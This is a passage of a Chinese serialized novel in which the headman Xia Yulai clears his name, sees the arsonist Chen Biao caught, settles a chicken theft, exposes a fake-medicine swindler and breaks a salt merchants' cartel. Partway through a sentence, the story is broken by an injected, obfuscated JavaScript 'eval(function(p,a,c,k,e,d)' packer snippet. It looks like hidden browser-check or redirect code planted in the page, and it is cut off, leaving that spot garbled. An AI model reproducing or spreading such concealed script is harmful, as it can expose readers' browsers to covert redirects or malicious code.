县太爷说道:“最近,县城里流传着一些谣言,说夏里正中饱私囊,被苏陆两家的人教训了,还说他要报复苏陆两家,放火烧了苏府和陆府。我告诉大家,这些都是假的!都是陈老财的余党陈彪等人散布的谣言!” 百姓们听了,都愣住了:“什么?是陈彪等人散布的谣言?” 县太爷点了点头:“没错!陈彪等人因为记恨夏里正扳倒了陈老财,所以想要报复他。他们先是在暗夜伏击夏里正,把他打成重伤,然后又散布谣言,想要毁他的名声,煽动民心,让百姓们痛恨他!” 他顿了顿,继续说道:“我已经派人去追查陈彪等人的下落了,相信用不了多久,就能把他们绳之以法!另外,我可以向大家保证,夏里正是一个为民做主、清正廉洁的好里正。他为县城做了很多好事,大家都是有目共睹的!苏陆两家也绝对不会因为一点小事,就和夏里正反目成仇!” 百姓们听了县太爷的话,都议论纷纷。有的人开始相信县太爷的话,觉得那些谣言都是假的;有的人则还是有些怀疑,想要看看事情的后续发展。 就在这时,李老汉走上前,大声说道:“各位乡亲,县太爷说得对!夏里正是个好人!上次粮价暴涨,是他让苏陆两家拿出粮食,按照原价卖给我们;上次神棍骗人,是他戳穿了神棍的骗局,救了我们!这样的好人,怎么可能会中饱私囊、放火烧人呢?” 王婆也走上前,说道:“是啊!夏 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“彪哥,怎么办?县城里的百姓好像已经知道真相了!” 瘦猴汉子焦急地说道。 陈彪的脸色也沉了下来:“没想到县太爷竟然会出面帮夏雨来!这个老东西,真是多管闲事!” 他顿了顿,说道,“既然谣言没用了,我们就只能用硬的了!今晚,我们就去烧了苏府和陆府,让夏雨来和苏陆两家都尝尝,什么叫痛苦!” 瘦猴汉子有些犹豫:“彪哥,现在县城里加强了治安,我们要是去放火,肯定会被官差发现的!” “怕什么?” 陈彪瞪了他一眼,“富贵险中求!只要我们能烧了苏府和陆府,就算被官差发现了,也值了!” 他顿了顿,说道,“我们今晚三更行动,趁大家都睡着了,偷偷溜进苏府和陆府,放一把火,然后立刻逃跑!” 其他打手们听了,都有些害怕,但在陈彪的威逼利诱下,还是答应了。 夜色再次降临,县城里一片寂静。陈彪带着手下,偷偷溜进了县城,向苏府和陆府摸去。他们不知道,县太爷早就料到他们会有下一步行动,已经派人在苏府和陆府周围埋伏好了。 五、恶徒纵火遭埋伏,官民联手擒顽凶 三更时分,陈彪带着手下,偷偷来到了苏府的后门。苏府的后门紧闭着,门口没有家丁守卫 —— 这是陈彪特意打听好的,苏府的家丁大多在前门和侧门守卫,后门很少有人巡逻。 陈彪示意手下们蹲下,自己则悄悄走到后门边,仔细观察着周围的动静。确定没有异常后,他从怀里掏出一把撬棍,想要撬开后门的锁。 就在这时,突然听到一声大喝:“住手!陈彪,你们已经被包围了!” 陈彪心里一惊,回头一看,只见县太爷带着一群官差,从黑暗中冲了出来,把他们围得水泄不通。 “不好!有埋伏!” 陈彪大喊一声,想要带着手下逃跑。 但已经晚了,官差们已经冲了上来,和陈彪的手下打了起来。陈彪的手下都是些地痞无赖,根本不是官差的对手,很快就被打得落花流水。 陈彪见状,知道大事不妙,转身就跑。他刚跑了没几步,就被一个官差一脚踹倒在地,然后被五花大绑起来。 “陈彪,你这个胆大包天的家伙!竟然敢在县城里纵火行凶,散布谣言,煽动民心!” 县太爷走到陈彪面前,厉声喝道。 陈彪被绑在地上,挣扎着想要站起来,但根本无济于事。他恶狠狠地看着县太爷:“老东西,你少得意!要不是你多管闲事,我早就烧了苏府和陆府,杀了夏雨来了!” “哼!你以为你能得逞吗?” 县太爷冷笑一声,“夏雨来是为民做主的好里正,百姓们都支持他!你想害他,简直是痴心妄想!” 官差们很快就把陈彪的手下全部制服了,押到了县太爷面前。 “县太爷,这些人都抓住了!” 一个官差说道。 县太爷点了点头:“好!把他们都押回县衙,严加审讯!我要让他们交代出所有的罪行!” 官差们立刻押着陈彪等人,向县衙走去。 苏振邦和陆承业听到动静,也从府里走了出来。看到陈彪等人被抓住了,都非常高兴。 “县太爷,太感谢您了!要是没有您,我们苏府和陆府今晚就遭殃了!” 苏振邦说道。 陆承业也说道:“是啊,县太爷!您真是神机妙算,早就料到他们会来放火!” 县太爷笑了笑:“苏当家,陆当家,不用谢我!这都是我应该做的。陈彪等人作恶多端,早就该受到惩罚了!” 他顿了顿,说道,“现在,陈彪等人已经被抓住了,夏雨来的冤屈也终于可以洗刷了!” 苏振邦和陆承业点了点头:“是啊!明天,我们就去告诉百姓们这个好消息,让他们都知道,那些谣言都是陈彪等人编造的!” 第二天一早,县太爷就把陈彪等人的罪行张贴在了城隍庙门口。百姓们看到告示后,都非常愤怒,纷纷谴责陈彪等人的恶行。 “太可恶了!陈彪这些人,竟然这么恶毒!不仅伏击夏里正,还散布谣言,想要放火烧了苏府和陆府!” “是啊!他们真是死有余辜!县太爷一定要严惩他们!” “夏里正真是太冤枉了!被他们打成重伤,还被造谣污蔑,幸好县太爷英明,抓住了这些凶手!” “我们应该去看看夏里正,向他道歉!” 百姓们纷纷来到夏雨来的杂货铺,向他道歉。有的百姓还带来了自家种的水果、蔬菜,还有的百姓带来了疗伤的草药。 “夏里正,对不起!我们之前被谣言蒙蔽了,错怪了你!” “是啊,夏里正!我们不该相信那些谣言,还去砸你的铺子,真是太对不起了!” “夏里正,这是我家种的苹果,你尝尝,补补身子!” “夏里正,这是我托人从外地买来的疗伤草药,你用用看,效果很好!” 夏雨来看着眼前的百姓们,心里非常感动。他说道:“各位乡亲,不用道歉!我知道,你们都是被谣言蒙蔽了,不是故意的。只要大家能明白真相,我就心满意足了!” 他顿了顿,又说道:“这些东西,我不能收!大家的心意,我领了。现在,陈彪等人已经被抓住了,县城里又恢复了太平。以后,我们还要一起努力,让县城变得更加繁荣、更加安宁!” 百姓们听了,都纷纷点头。他们知道,夏雨来是一个宽宏大量、为民做主的好里正。从今以后,他们会更加信任他、支持他。 县太爷对陈彪等人进行了严刑审讯。在确凿的证据面前,陈彪等人不得不承认了自己所有的罪行。县太爷勃然大怒,判处陈彪死刑,剥夺所有财产,其他打手也分别被判处了不同期限的徒刑。 判决结果公布后,县城里的百姓们都拍手称快,纷纷称赞县太爷判得好。 “太好了!陈彪这个恶徒终于被绳之以法了!” “是啊!他作恶多端,早就该受到惩罚了!” “县太爷真是为民做主的好官!夏雨来也是我们的大恩人!要是没有他们,我们还不知道要被陈彪等人欺负到什么时候!” 百姓们再次来到县衙门口,为县太爷和夏雨来欢呼喝彩。 六、市井同心护良善,秀才威名传四方 陈彪等人伏法后,县城里再次恢复了往日的祥和。夏雨来的伤势也渐渐好转,他重新回到了杂货铺,继续为百姓们服务。 经过这件事,夏雨来在百姓们心中的威望更高了。大家都知道,他是一个为民做主、清正廉洁、宽宏大量的好里正。无论遇到什么事情,大家都会第一时间想到他,向他请教、向他求助。 有一次,城东的两家百姓因为宅基地的事情发生了争执,双方互不相让,甚至还动了手。夏雨来听说后,立刻赶了过去。他耐心地倾听了双方的诉求,然后根据《市井公约》,公平公正地做出了裁决。两家百姓都非常满意,握手言和,还向夏雨来道谢。 还有一次,城西的一家粮铺老板,因为经营不善,导致粮铺濒临倒闭。粮铺老板非常着急,找到了夏雨来,希望他能帮忙想想办法。夏雨来了解情况后,为粮铺老板制定了一套详细的经营方案,还帮他联系了苏陆两家,让他们提供粮食支持。在夏雨来的帮助下,粮铺老板的生意渐渐有了起色,粮铺也起死回生了。 粮铺老板非常感激夏雨来,特意送了他一块牌匾,上面写着 “为民做主,功德无量” 四个大字。夏雨来推辞不过,只好收下了牌匾,挂在了杂货铺的门口。 苏陆两家的生意也越来越红火。他们在夏雨来的帮助下,不仅扩大了漕运规模,还开设了更多的粮铺、瓷窑和船厂,成为了远近闻名的富商。苏文轩和陆婉清也已经成家立业,他们继承了父母的生意,并且把生意做得更大、更好。 为了感谢夏雨来对苏陆两家的帮助,苏振邦和陆承业特意在苏府摆了一场盛大的宴席,邀请了县城里的所有百姓。宴席当天,苏府张灯结彩,热闹非凡。百姓们都穿着新衣,高高兴兴地来到苏府赴宴。 宴席上,苏振邦端着酒杯,走到夏雨来面前,说道:“夏里正,这杯酒,我敬你!要是没有你,就没有苏陆两家的今天!你是我们苏陆两家的大恩人!” 陆承业也端着酒杯,走到夏雨来面前,说道:“夏里正,我也敬你一杯!你不仅是我们的恩人,更是县城里百姓们的救星!我们永远都会记得你的恩情!” 夏雨来笑着接过酒杯,说道:“苏当家,陆当家,你们太客气了!我们都是一家人,互相帮助是应该的。只要我们齐心协力,就能让县城变得更加繁荣、更加安宁!” 百姓们也纷纷端着酒杯,向夏雨来敬酒。大家都发自内心地感谢他,敬佩他。 宴席过后,百姓们都纷纷称赞夏雨来的为人。他们都说,夏雨来是一个真正为民做主的好官,是一个值得大家信赖和支持的好里正。 夏雨来的名声,不仅在县城里传开了,还传到了周边的城镇。很多外地的百姓,都听说了夏雨来的事迹,纷纷来到县城,想要亲眼见见这位为民做主的好里正。有的外地商家,还特意来县城和苏陆两家合作,说就是因为相信夏雨来,才愿意来这里做生意。 县城里的市井风气也越来越清明。百姓们安居乐业,商家们诚信经营,邻里之间和睦相处,再也没有了地痞无赖横行霸道的现象。这一切,都离不开夏雨来的努力和付出。 这天晚上,夏雨来坐在杂货铺的门口,看着天上的明月,心里感慨万千。他想起了自己刚上任里正时,县城里的种种乱象;想起了和陈老财、陈彪等人的斗智斗勇;想起了百姓们对他的信任和支持。他知道,自己所做的一切,都是值得的。 “夏里正,在想什么呢?” 张屠户提着一壶酒,笑着走了过来。 夏雨来笑了笑:“没什么,就是觉得现在的日子真好。” 张屠户坐在夏雨来身边,倒了两杯酒,递给夏雨来一杯:“是啊,现在的日子真是太好了!这都多亏了你,夏里正。来,我敬你一杯!” 夏雨来接过酒杯,和张屠户碰了一下,一饮而尽:“张屠户,不用谢我。这都是大家一起努力的结果。只要我们齐心协力,以后的日子会越来越好!” 两人一边喝酒,一边聊天,聊到了深夜。张屠户离开后,夏雨来回到了屋里,躺在床上,却没有丝毫睡意。他知道,自己肩上的责任还很重,以后还会遇到各种各样的问题,但他有信心,只要自己坚守初心,为百姓着想,就一定能克服所有的困难,让县城变得更加繁荣、更加安宁。 “咚 —— 咚 —— 咚 ——” 三更的梆子声再次响起,夏雨来站在窗前,望着天边的明月,脸上露出了欣慰的笑容。他知道,只要百姓们团结一心,只要《市井公约》能够一直执行下去,这座县城就会永远安宁,永远繁荣。 他笑了,笑得那么开心,那么坦荡。这一夜,他又将是一个无眠之夜,但他无怨无悔,因为他知道,自己肩上的责任重大,他要守护的,是整个县城的希望和未来。 从此以后,县城里再也没有了恶霸的欺压,再也没有了谣言的困扰。百姓们安居乐业,商家们诚信经营,邻里之间和睦相处,市井风气日益清明。而夏雨来,也成为了县城里家喻户晓的英雄,被百姓们永远铭记在心。他的故事,也成为了一段佳话,在民间广为流传。 50. 侠名流传 一、杂货铺变说理堂,秀才巧断鸡毛案 陈彪伏法后的第三个月,县城的晨光里都带着股畅快劲儿。城隍庙前的集市比往日更热闹了三分,张屠户的肉案前排起了长队,他手里的杀猪刀舞得虎虎生风,嘴里还不忘吆喝:“新鲜五花肉嘞!夏里正说了,吃肉补力气,干活更精神!” 街角的糖画摊前围满了孩童,老艺人手腕一转,一幅 “夏雨来智斗陈彪” 的糖画就成型了,孩子们捧着糖画叽叽喳喳:“我要学夏秀才,当个大英雄!” 夏雨来的杂货铺更是成了县城的 “中心枢纽”。原本摆油盐酱醋的柜台被挪到了角落,腾出的空地摆上了两张长桌几条长凳,桌上总摆着一壶热茶、一碟瓜子,往来的百姓有事没事都爱来凑个热闹。有人来请教营生,有人来哭诉委屈,甚至有夫妻拌嘴、邻里吵架,都要拉着夏雨来评评理。用二狗的话说:“咱们这杂货铺,都快成县衙分号了,就是比县衙热闹,夏里正比县太爷还管用!” 这天一早,杂货铺刚开门,就冲进两个气喘吁吁的汉子。前面的矮个汉子抱着个破竹筐,筐里装着几只鸡,后面的高个汉子攥着一把鸡毛,脸红脖子粗地大喊:“夏雨来,你可得为我做主啊!这泼皮偷我家鸡!” 矮个汉子急得直跺脚,竹筐里的鸡也跟着扑腾:“你胡说!这鸡是我家的!昨晚还在鸡窝下蛋呢,怎么就成你的了?” 夏雨来正整理账本,闻言抬起头,放下手中的毛笔,脸上带着惯有的温和笑意:“两位兄弟别急,先喝口茶喘口气。慢慢说,到底是怎么回事?” 他心里暗笑,这又是桩鸡毛蒜皮的邻里纠纷,不过看着两人剑拔弩张的样子,倒是得好好化解,不然传出去又是一场风波。 高个汉子名叫王大柱,是城东的农户,他端起茶碗猛灌一口,大声说道:“夏里正,我跟你说!我家有三只芦花鸡,今早起来鸡窝空了,我顺着脚印追到城西,就看见这李二狗 —— 哦不,是李小三,抱着我家鸡要跑!” 矮个汉子李小三急得脸通红:“我不叫李二狗!我叫李小三!夏里正,你别听他胡说!这三只鸡是我上个月从集市上买的,你看这鸡的脚环,还是我亲手编的红绳呢!” 他说着,抓起一只鸡的脚,果然露出一圈红绳。 王大柱嗤笑一声:“红绳算什么?我家鸡也有!” 他伸手去抓另一只鸡的脚,那鸡受惊,扑腾着翅膀,鸡毛乱飞,正好落在他脸上。围观的百姓哄堂大笑,王大柱抹了把脸,急道:“反正这鸡是我的!他就是个偷鸡贼!” 李小三也不甘示弱:“你才是贼呢!自己看不住鸡,就来抢我的!” 两人吵得不可开交,围观的百姓也议论纷纷。有人说王大柱老实巴交,不像说谎;有人说李小三平时虽然爱占小便宜,但不至于偷鸡。夏雨来眯着眼睛,仔细观察着两只鸡,又看了看两人的神色,心里已经有了主意。 他清了清嗓子,说道:“两位兄弟,别吵了。要分辨这鸡是谁家的,其实不难。” 他走到竹筐边,拿起一只鸡,指着鸡的嗉囊说,“你们看,这鸡的嗉囊鼓鼓的,说明刚吃过东西。王大柱,你家鸡平时喂什么?” 王大柱愣了愣,说道:“我家鸡喂谷子和野菜!” 夏雨来又问李小三:“你家鸡呢?” 李小三说道:“我家鸡喂米糠和剩饭!” 夏雨来笑了笑,对二狗说:“二狗,去拿点清水和两个碗来。” 二狗连忙跑进后堂,很快端来清水和两个粗瓷碗。夏雨来把鸡的嗉囊轻轻一挤,鸡嗉里的食物就吐了出来,落在碗里。众人凑近一看,碗里全是谷子和野菜叶子。 王大柱立刻说道:“你看!我说这鸡是我的吧!” 李小三脸色一白,还想狡辩:“这…… 这可能是鸡跑到他家地里吃的!” 夏雨来摇了摇头,又拿起另一只鸡,同样挤出嗉囊里的食物,还是谷子和野菜。他看着李小三,语气温和却带着一丝威严:“李小三,你家喂米糠和剩饭,可这鸡嗉里全是谷子和野菜,这怎么解释?而且王大柱说他顺着脚印追到你家,这脚印总做不了假吧?” 李小三的头垂了下来,脸上露出羞愧的神色:“夏里正,我…… 我错了。” 他抬起头,声音低沉地说道,“我家的鸡昨天病死了,我想着王大柱家的鸡和我家的长得像,就…… 就想偷来换点钱。” 围观的百姓们纷纷指责李小三:“你这也太不地道了!”“王大柱多老实啊,你怎么能偷他的鸡!” 王大柱气得浑身发抖:“你这泼皮!我还当你是邻居,你竟然偷我家鸡!” 夏雨来摆了摆手,示意大家安静:“大家别激动。李小三虽然做错了,但他能主动承认,也算是有悔意。王大柱,你看这样行不行?李小三把鸡还给你,再赔偿你一两银子,算是弥补你的损失。另外,他得在城隍庙前向你赔礼道歉,你看如何?” 王大柱想了想,说道:“夏里正,我听你的!只要他把鸡还给我,再道歉,我就不追究了!” 李小三连忙点头:“谢谢夏里正!谢谢王大哥!我一定照做!” 他心里暗自庆幸,幸好夏雨来没有把他送到县衙,不然不仅要罚款,还要挨板子。 事情解决了,围观的百姓们纷纷称赞夏雨来:“夏里正真是太聪明了!这么快就分清了鸡的主人!”“是啊,夏里正断案,公平公正,我们都服!” 夏雨来笑了笑:“大家过奖了。邻里之间,本该和睦相处,互相体谅。以后有什么事情,好好商量,别动不动就吵架,更不能做偷鸡摸狗的事情。” 两人连忙点头称是,王大柱抱着鸡,李小三跟在后面,一起向城隍庙走去。 看着两人的背影,二狗忍不住说道:“夏里正,你真是太神了!就看了看鸡嗉里的食物,就知道谁是小偷了!” 夏雨来喝了口茶,说道:“其实这很简单。鸡吃的食物和主人喂的东西是对应的,只要细心观察,就能发现破绽。而且,李小三神色慌张,说话前后矛盾,一看就有问题。” 他心里想着,这些邻里纠纷虽然都是小事,但如果处理不好,很容易引发更大的矛盾。作为里正,他有责任维护县城的和睦。 刚送走王大柱和李小三,又有一个老妇人拄着拐杖,颤巍巍地走进了杂货铺。她穿着一身破旧的衣服,头发花白,脸上布满了皱纹,一进门就哭了起来:“夏里正,你可得为我做主啊!我的养老钱被人骗走了!” 夏雨来连忙起身,扶着老妇人坐下,递上一杯热茶:“老人家,您别急,慢慢说。是谁骗了您的钱?怎么骗的?” 老妇人喝了口茶,情绪稍微稳定了一些,她说道:“我叫张婆婆,住在城南。昨天上午,我去集市上买东西,遇到一个穿着体面的年轻人。他说他是京城来的郎中,能治百病,还说我身体不好,需要吃他的药才能长寿。他给了我一瓶药丸,说要五十两银子。我想着自己年纪大了,身体也不好,就把我攒了一辈子的五十两养老钱给了他。可我回家后,吃了一颗药丸,就觉得肚子不舒服,我才知道自己被骗了!” 夏雨来皱了皱眉,心里暗自愤怒。这骗子真是太可恶了,竟然骗一个老人家的养老钱!他问道:“张婆婆,您还记得那个年轻人的样子吗?他有什么特征?” 张婆婆想了想,说道:“他中等身材,皮肤白白的,留着八字胡,说话带着京城口音。他穿了一件蓝色的长衫,手里拿着一个药箱。” 夏雨来点了点头:“张婆婆,您放心,我一定会帮您把钱追回来!二狗,你去把张屠户、李老汉他们叫来,让他们帮忙留意一下,有没有符合张婆婆描述的人。另外,你再去县衙一趟,把这件事告诉县太爷,请他派人帮忙追查。” 二狗连忙说道:“好嘞,夏里正!我这就去!” 张婆婆感激地说道:“谢谢夏里正!你真是个大好人!要是我的钱追不回来,我可怎么活啊!” 夏雨来安慰道:“张婆婆,您别担心。那个骗子跑不了的!我们一定会把他抓住,帮您把钱追回来!” 他心里盘算着,这个骗子既然敢在集市上骗人,肯定还在县城里。只要发动百姓们一起寻找,一定能找到他的踪迹。 很快,张屠户、李老汉等人就来到了杂货铺。他们听说了张婆婆被骗的事情,都非常愤怒。 张屠户拍着桌子,怒喝道:“这个狗娘养的骗子!竟然敢骗张婆婆的养老钱!要是让我抓住他,我非打断他的腿不可!” 李老汉也说道:“是啊!张婆婆一个人不容易,攒点养老钱多不容易啊!我们一定帮她把钱追回来!” 夏雨来说道:“各位乡亲,张婆婆说那个骗子中等身材,皮肤白白的,留着八字胡,穿蓝色长衫,带药箱,说话有京城口音。大家在集市上、街道上多留意一下,一旦发现可疑人员,立刻来告诉我,或者通知官差。” “好!我们知道了!” 众人纷纷点头,立刻分头去寻找骗子的踪迹。 夏雨来扶着张婆婆,说道:“张婆婆,您先在我这里歇一会儿,我让人去给您做点吃的。等有了消息,我第一时间告诉您。” 张婆婆感激地说道:“谢谢夏里正!你真是比我的亲儿子还亲!” 夏雨来笑了笑,心里却在琢磨着。这个骗子很狡猾,肯定会乔装打扮,想要找到他,还得想个办法。他突然想到,骗子手里有药箱,肯定会去药店买药,或者去偏僻的地方摆摊骗人。他立刻对二狗说道:“二狗,你再去各个药店问问,有没有人见过符合描述的人买过药材,或者推销过药丸。” 二狗说道:“好嘞,夏里正!” 就在这时,一个卖菜的小贩气喘吁吁地跑了进来:“夏里正!我看到那个骗子了!他在城西的巷子里摆摊,还在骗一个老太太呢!” 夏雨来眼睛一亮:“太好了!我们快去!” 他立刻起身,带着张屠户、李老汉等人,向城西的巷子跑去。 赶到城西巷子时,果然看到一个穿着蓝色长衫、留着八字胡的年轻人,正拿着一个药瓶,向一个老太太推销:“老人家,我这是京城来的神药,能治百病,延年益寿。只要五十两银子,您买了绝对不吃亏!” 老太太犹豫着,正想掏钱。张婆婆立刻大喊:“就是他!他就是骗我钱的骗子!” 骗子看到张婆婆,脸色一变,转身就要跑。张屠户眼疾手快,一把抓住了他的胳膊,将他按在地上:“你这个骗子!还想跑!” 骗子挣扎着:“你们干什么?放开我!我不是骗子!” 夏雨来走到骗子面前,冷冷地说道:“你不是骗子?那你为什么骗张婆婆的五十两养老钱?还说你的药能治百病,你有什么凭证?” 骗子眼神闪烁,说道:“我…… 我没有骗她!是她自愿买我的药的!” 张婆婆生气地说道:“你胡说!你说我的病只有你的药能治,我才买的!结果我吃了你的药,肚子痛得厉害!” 夏雨来说道:“把你的药瓶拿出来,让我看看!” 骗子不愿意,但张屠户一把夺过药瓶,递给夏雨来。夏雨来打开药瓶,一股刺鼻的气味扑面而来。他闻了闻,里面竟然是一些普通的草药磨成的粉末,还夹杂着一些不明物体。 “你这根本就是假药!” 夏雨来怒喝道,“你用假药骗取老人家的养老钱,简直丧尽天良!” 围观的百姓们也纷纷指责骗子:“这个骗子太可恶了!”“把他送到县衙去!”“让他坐牢!” 骗子吓得浑身发抖:“我错了!我再也不敢了!求你们放过我吧!” 夏雨来说道:“放过你?你骗了张婆婆的养老钱,还想骗其他人,怎么能放过你?” 他对旁边的官差说道,“官差大哥,麻烦你把他带到县衙,交给县太爷处置!” 官差点了点头,拿出铁链,把骗子锁了起来,押向县衙。 张婆婆看着被押走的骗子,激动地说道:“谢谢夏里正!谢谢各位乡亲!我的钱终于能追回来了!” 夏雨来说道:“张婆婆,您不用谢我们。这是我们应该做的。以后遇到陌生人推销药品,一定要多加小心,不要轻易相信他们的话。要是不确定,就来问我,或者问问其他乡亲。” 张婆婆点了点头:“我记住了!以后再也不会轻易相信陌生人了!” 百姓们纷纷称赞夏雨来:“夏里正真是太厉害了!这么快就抓住了骗子!”“是啊,夏里正不仅聪明,还热心肠,真是我们的大救星!” 夏雨来笑了笑,心里却在想,这些骗子真是无孔不入,以后得提醒百姓们提高警惕,避免再有人上当受骗。 回到杂货铺,二狗已经把张婆婆的五十两银子追了回来。张婆婆拿着银子,感激涕零地向夏雨来道谢,然后高高兴兴地回家了。 看着张婆婆的背影,夏雨来心里充满了成就感。他知道,作为里正,不仅要处理邻里纠纷,还要保护百姓们的生命财产安全。只要能为百姓们做点实事,让他们安居乐业,他就心满意足了。 二、盐商垄断抬物价,鬼才设局破霸权 日子一天天过去,夏雨来的名声越来越响,不仅县城里的百姓都信任他,就连周边城镇的百姓,遇到解决不了的事情,也会专程来请教他。有人说,夏雨来是文曲星下凡,聪明绝顶;有人说,夏雨来是侠客转世,为民除害。还有的说,夏雨来有通天的本事,没有他解决不了的问题。 可就在这时,县城里突然出现了一桩怪事 —— 盐价暴涨。原本一贯铜钱能买两斤盐,现在竟然涨到了一贯铜钱一斤,而且还常常断货。百姓们怨声载道,纷纷来到杂货铺,向夏雨来诉苦。 “夏里正,这盐价涨得也太离谱了!再这样下去,我们都吃不起盐了!” “是啊,夏里正!以前盐铺里的盐随便买,现在不仅涨价,还限量供应,每人每次只能买半斤!” “听说这盐都被盐商垄断了,他们故意抬高价,就是想坑我们百姓的钱!” 夏雨来听着百姓们的抱怨,心里也犯起了嘀咕。盐是百姓生活的必需品,盐价暴涨,肯定会影响百姓们的生活。他必须查清楚,这到底是怎么回事。 他先来到县城里最大的盐铺 —— 福顺盐铺。盐铺里挤满了买盐的百姓,柜台后的掌柜是个肥头大耳的中年人,名叫钱富贵,他正慢条斯理地称着盐,脸上带着得意的笑容。 “掌柜的,能不能多卖点盐给我?我家人口多,半斤根本不够吃!” 一个老妇人说道。 钱富贵斜了老妇人一眼,说道:“不行!每人每次只能买半斤,这是规矩!想买更多,明天再来!” 老妇人急道:“可明天盐价会不会再涨啊?” 钱富贵冷笑一声:“那可说不准!现在盐紧缺得很,涨价也是没办法的事情!” 夏雨来走上前,说道:“钱掌柜,我想问一下,最近盐价为什么涨得这么厉害?而且还限量供应?” 钱富贵上下打量了夏雨来一番,认出了他是县里的里正,脸上的笑容收敛了一些:“夏里正,这你就不懂了。最近盐场减产,盐的供应量减少了,价格自然就涨了。至于限量供应,也是为了让更多的百姓能买到盐。” 夏雨来心里暗自冷笑,他才不信钱富贵的鬼话。盐场减产?他怎么没听说?而且,就算盐场减产,也不至于涨这么多。这里面肯定有猫腻。 他说道:“钱掌柜,据我所知,最近盐场并没有减产。而且,周边城镇的盐价都很稳定,为什么只有我们县城的盐价暴涨?” 钱富贵脸色一变,说道:“夏里正,这我就不知道了。可能是运输成本上涨了吧。反正我们也是按市场价卖的,没有乱涨价。” 夏雨来知道,再问下去也问不出什么结果。他转身离开了福顺盐铺,心里盘算着,要想查明真相,必须找到盐商垄断的证据。 他先去了县衙,找到了县太爷。县太爷听说了盐价暴涨的事情,也非常着急:“夏里正,这件事我也听说了。我已经派人去调查了,可是没有找到什么证据。那些盐商口口声声说盐场减产,运输成本上涨,我们也没办法。” 夏雨来说道:“县太爷,我怀疑这些盐商是故意垄断盐价,坑害百姓。我们必须想办法打破他们的垄断,让盐价恢复正常。” 县太爷点了点头:“夏里正,我也这么觉得。可是,没有证据,我们也不能随便处置他们。你有什么好办法吗?” 夏雨来想了想,说道:“县太爷,我有一个主意。我们可以假装要从外地调盐,让盐商们以为盐的供应量要增加了,他们肯定会降低盐价,甚至会大量抛售库存。到时候,我们就能抓住他们垄断的证据了。” 县太爷眼前一亮:“这个主意好!夏里正,你真是太聪明了!那我们就这么办!” 两人商量好后,县太爷立刻张贴告示,说为了缓解县城盐荒,县衙已经联系了外地的盐商,三天后会有大批食盐运到县城,到时候盐价会恢复到一贯铜钱两斤。 告示一出,县城里的百姓们都非常高兴,纷纷奔走相告。而盐商们却慌了神。钱富贵立刻召集了其他盐商,在福顺盐铺的后堂开会。 “各位,县衙要从外地调盐了,三天后就到。到时候盐价会恢复到一贯铜钱两斤,我们手里的盐就卖不出去了!” 钱富贵焦急地说道。 一个瘦高个盐商说道:“钱掌柜,这可怎么办?我们好不容易才把盐价抬上去,要是盐价降了,我们就亏大了!” 另一个矮胖盐商说道:“是啊!我们囤积了这么多盐,要是卖不出去,损失可就大了!” 钱富贵想了想,说道:“各位别急!我看这县衙根本就调不来这么多盐,他们就是想吓唬我们,让我们降低盐价。我们不能上当!我们继续抬价,限量供应,等到百姓们都买不到盐了,自然会愿意花高价买我们的盐!” 瘦高个盐商犹豫着说道:“可是,万一县衙真的调来了盐,我们怎么办?” 钱富贵说道:“不可能!外地的盐商都被我们收买了,他们不会给县衙供盐的!我们就放心好了!” 原来,这些盐商早就勾结在了一起,垄断了县城的食盐供应。他们不仅收买了外地的盐商,不让他们给县城供盐,还囤积了大量的食盐,故意抬高价,坑害百姓。 夏雨来早就料到盐商们会勾结在一起,他并没有真的联系外地盐商,而是让苏振邦和陆承业帮忙,从他们的漕运船队里调了一批食盐过来。苏振邦和陆承业一听是为了百姓们,立刻答应了。 三天后,一支满载着食盐的船队停靠在了县城的码头。百姓们看到大批食盐运到,都非常高兴,纷纷来到码头买盐。盐价果然恢复到了一贯铜钱两斤,而且不限量供应。 盐商们看到这一幕,都傻眼了。钱富贵气急败坏地说道:“怎么可能?他们怎么会调来了这么多盐?” 瘦高个盐商说道:“钱掌柜,现在怎么办?我们手里的盐卖不出去了,而且价格这么低,我们肯定会亏大的!” 钱富贵咬了咬牙,说道:“不行!我们不能就这么认输!我们得想办法阻止他们卖盐!” 他立刻召集了一群地痞无赖,让他们去码头闹事,阻止百姓们买盐。这些地痞无赖拿着木棍,冲到码头,大声嚷嚷:“这盐是假的!不能买!谁买谁倒霉!” 他们还故意推倒百姓们的盐筐,抢夺食盐。 百姓们吓得纷纷后退,码头顿时一片混乱。 夏雨来早就料到盐商们会狗急跳墙,他已经和官差们埋伏在了码头附近。看到地痞无赖闹事,官差们立刻冲了上去,将他们一网打尽。 钱富贵看到地痞无赖被抓,心里更加着急。他知道,这次他们的垄断计划彻底失败了。 夏雨来走到钱富贵面前,说道:“钱掌柜,你们勾结其他盐商,垄断食盐供应,故意抬高价,坑害百姓,还雇佣地痞无赖闹事,你们的罪行已经证据确凿!现在,你们还有什么话要说?” 钱富贵脸色苍白,浑身发抖:“我…… 我没有!我没有垄断盐价!” 夏雨来拿出盐商们开会的记录,还有他们收买外地盐商的信件,说道:“这些都是证据!你还想狡辩吗?” 钱富贵看着证据,再也无话可说。他知道,这次他是彻底完了。 官差们立刻上前,将钱富贵和其他盐商全部抓了起来,押回县衙。 县太爷对盐商们进行了严厉的审讯,在确凿的证据面前,盐商们不得不承认了自己的罪行。县太爷勃然大怒,判处钱富贵等人有期徒刑,没收他们的全部财产,并且将他们囤积的食盐全部低价卖给百姓们。 盐价恢复了正常,百姓们都非常高兴,纷纷称赞夏雨来和县太爷:“夏里正真是太英明了!为民除害!”“县太爷真是为民做主的好官!”“以后我们再也不用担心吃不起盐了!” 夏雨来心里也非常高兴。他知道,这次能够打破盐商的垄断,离不开苏振邦和陆承业的帮助,也离不开百姓们的支持。只要大家齐心协力,就没有解决不了的问题。 这件事之后,夏雨来的名声更响了。百姓们都说,夏雨来不仅能断案,还能对付奸商,是个真正为民做主的好里正。甚至有人编了歌谣,在县城里传唱:“夏雨来,真英雄,为民做主显神通。断冤案,破垄断,百姓生活乐融融。” 三、家族争产起风波,智解迷局显神通 盐商垄断的事情刚解决没多久,县城里又发生了一桩大事。城西的大户人家赵家,老员外赵德发突然去世了,留下了巨额的家产和一座大宅院。可赵老员外刚下葬,他的两个儿子就因为家产分配的问题,闹得不可开交,甚至大打出手。 